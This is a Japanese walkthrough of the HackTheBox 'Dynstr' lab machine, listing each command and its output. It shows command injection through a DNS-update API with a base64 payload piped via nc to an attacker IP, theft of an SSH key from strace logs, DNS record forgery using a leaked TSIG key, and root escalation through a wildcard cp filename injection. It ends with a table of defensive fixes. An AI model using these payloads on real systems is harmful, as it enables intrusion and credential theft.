HackTheBox: Dynstr — 全実行コマンド・実行結果レポート
22 / 53 / 80
dynadns:sndanyd
backtick + base64
bindmgr SSH鍵
A + PTR
偵察 (Reconnaissance)
ポートスキャン
nmap -sC -sV -p- --min-rate 5000 10.129.54.200
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 53/tcp open domain ISC BIND 9.16.1 80/tcp open http Apache httpd 2.4.41 http-title: Dyna DNS
HTTP は Dyna DNS という Dynamic DNS サービスで、DNS サーバーも同じホスト上で動いている。ここから「DNS更新 API」と「BIND 設定」の両方が攻略対象になる。
名前解決の確認
dig @10.129.54.200 dyna.htb ANY
dyna.htb. SOA dns1.dyna.htb. hostmaster.dyna.htb. dyna.htb. NS dns1.dyna.htb. dns1.dyna.htb. A 127.0.0.1
Webサイト上では no-ip.htb、dnsalias.htb、dynamicdns.htb が Dynamic DNS 用ゾーンとして示されている。
Dynamic DNS API の確認
/nic/update の認証情報
公開ページの説明から、no-ip 互換の更新 API と Basic 認証情報 dynadns:sndanyd を確認する。
GET /nic/update?hostname=test.no-ip.htb&myip=1.2.3.4 Authorization: Basic dynadns:sndanyd
curl -s 'http://dynadns:sndanyd@10.129.54.200/nic/update?hostname=test.no-ip.htb&myip=1.2.3.4'
good 1.2.3.4
hostname パラメータの着眼点
更新 API は hostname を受け取り、内部で DNS 更新処理に渡している。ここにシェルメタ文字を混ぜると、バッククォート内のコマンドが評価される。
id | nc ... を入れると URL エンコードやドメイン検証で壊れやすい。コマンドを base64 化し、echo ... | base64 -d | bash をバッククォートで包むと安定する。コマンドインジェクションから www-data へ
RCE の確認
nc -lvnp 18053
echo 'id 2>&1 | nc -w 3 10.10.15.201 18053' | base64 -w0 curl -s 'http://dynadns:sndanyd@10.129.54.200/nic/update?hostname=`echo BASE64 | base64 -d | bash`.no-ip.htb&myip=10.10.15.201'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
support-case ファイルの発見
ls -d /home/*/support-case-* 2>/dev/null
/home/bindmgr/support-case-C62796521
ls -la /home/bindmgr/support-case-C62796521
C62796521-debugging.script 237141 bytes C62796521-debugging.timing 29312 bytes command-output-C62796521.txt 1175 bytes strace-C62796521.txt 163048 bytes
www-data から /home/bindmgr/user.txt や /home/bindmgr/.ssh/id_rsa は直接読めないが、support-case 配下の調査ログは読める。
strace から SSH 秘密鍵を復元
execve("/usr/bin/curl", ["curl", "-v", "-sk", "sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip", "--pubkey", "/home/bindmgr/.ssh/id_rsa.pub"], ...)strace-C62796521.txt と C62796521-debugging.script には、curl が公開鍵認証で SFTP へ接続しようとした痕跡があり、read() バッファ内に OPENSSH PRIVATE KEY が \n 付き文字列として残っている。
grep -ao '-----BEGIN OPENSSH PRIVATE KEY-----.*-----END OPENSSH PRIVATE KEY-----' strace-C62796521.txt > bindmgr_id_rsa sed -i 's/\\n/\n/g' bindmgr_id_rsa chmod 600 bindmgr_id_rsa ssh-keygen -y -f bindmgr_id_rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4p... bindmgr@nomen
\n を実改行へ戻さないと、SSH は Load key ... error in libcrypto で失敗する。DNS from 制限の回避と user.txt
authorized_keys の from 制限
cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1... bindmgr@nomen
鍵だけでは足りない。SSH サーバー側は接続元 IP を逆引きし、そのホスト名が *.infra.dyna.htb に一致する場合だけこの鍵を許可する。
infra.key で A/PTR レコードを追加
cat /etc/bind/named.conf.local cat /etc/bind/infra.key
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; update-policy { grant infra-key zonesub ANY; }; };
key "infra-key" {
algorithm hmac-sha256;
secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};nsupdate -k infra.key > server 10.129.54.200 > update add test.infra.dyna.htb 86400 A 10.10.15.201 > send > update add 201.15.10.10.in-addr.arpa 300 PTR test.infra.dyna.htb > send
A レコードだけでは不十分で、接続元 IP から test.infra.dyna.htb へ戻る PTR レコードが必要になる。
bindmgr として SSH ログインし user.txt を読む
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i bindmgr_id_rsa bindmgr@10.129.54.200 'id; cat /home/bindmgr/user.txt'
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr) 511bd682a93e5b369c34f68271044218
権限昇格の調査
sudo 権限の確認
sudo -l
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.shbindmgr は /usr/local/bin/bindmgr.sh をパスワードなしで root として実行できる。
bindmgr.sh の危険な cp
cd /tmp/workdir sudo /usr/local/bin/bindmgr.sh # script stages current directory files into /etc/bind/named.bindmgr # internally similar to: cp .version * /etc/bind/named.bindmgr/
この形はカレントディレクトリのファイル名が cp のオプションとして解釈される余地を作る。そこで --preserve=mode という名前のファイルを作り、SUID ビット付きの bash を root 所有のステージング先へコピーさせる。
SUID bash 生成と root.txt
SUID bash をステージングさせる
WORKDIR=$(mktemp -d /tmp/.bm_XXXXXX) cd "$WORKDIR" cp /bin/bash . chmod u+s bash touch -- '--preserve=mode' echo 1 > .version sudo -n /usr/local/bin/bindmgr.sh
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/.bm_ImmqZP. [+] Creating /etc/bind/named.conf.bindmgr file. [+] Staging files to /etc/bind/named.bindmgr. [+] Checking staged configuration. [-] ERROR: The generated configuration is not valid.
最後の BIND 設定チェックは失敗してよい。重要なのは、その前に root 実行の cp が /etc/bind/named.bindmgr/bash を作っていること。
bash -p で root.txt を読む
/etc/bind/named.bindmgr/bash -p -c 'id; cat /root/root.txt'
uid=1001(bindmgr) euid=0(root) gid=1001(bindmgr) groups=1001(bindmgr) 89f569bfc1a969c4851b8f3ac174898f
攻略サマリー & 教訓
取得フラグ
攻撃チェーン
| # | 段階 | 要点 | 成果 |
|---|---|---|---|
| 1 | 偵察 | HTTP / DNS / SSH を確認 | Dyna DNS と BIND の組み合わせを特定 |
| 2 | 初期侵入 | /nic/update の hostname で OS コマンド注入 | www-data としてコマンド実行 |
| 3 | 資格情報 | support-case の strace から SSH 秘密鍵を復元 | bindmgr の鍵を取得 |
| 4 | 制限回避 | infra.key で A/PTR を追加 | from="*.infra.dyna.htb" を満たして SSH 成功 |
| 5 | user | bindmgr としてログイン | user.txt 取得 |
| 6 | 権限昇格 | bindmgr.sh の cp .version * に --preserve=mode を注入 | SUID root bash 生成 |
| 7 | root | bash -p で euid=0 を維持 | root.txt 取得 |
防御観点
| 問題 | 対策 |
|---|---|
| Web入力をシェルコマンドへ渡している | シェルを介さず安全な API を使い、許可リストで hostname を検証する。 |
| support-case に秘密情報が残っている | strace や typescript に鍵や認証情報を残さない。取得後は権限と保存期間を厳格化する。 |
| TSIG key が低権限から読める | DNS 更新鍵は必要最小権限のユーザーだけに読ませ、ゾーン更新範囲も限定する。 |
| sudo スクリプトがワイルドカードを安全に扱っていない | cp -- .version ./* dest/ のようにオプション終端を使い、信頼できないディレクトリで sudo スクリプトを動かさない。 |

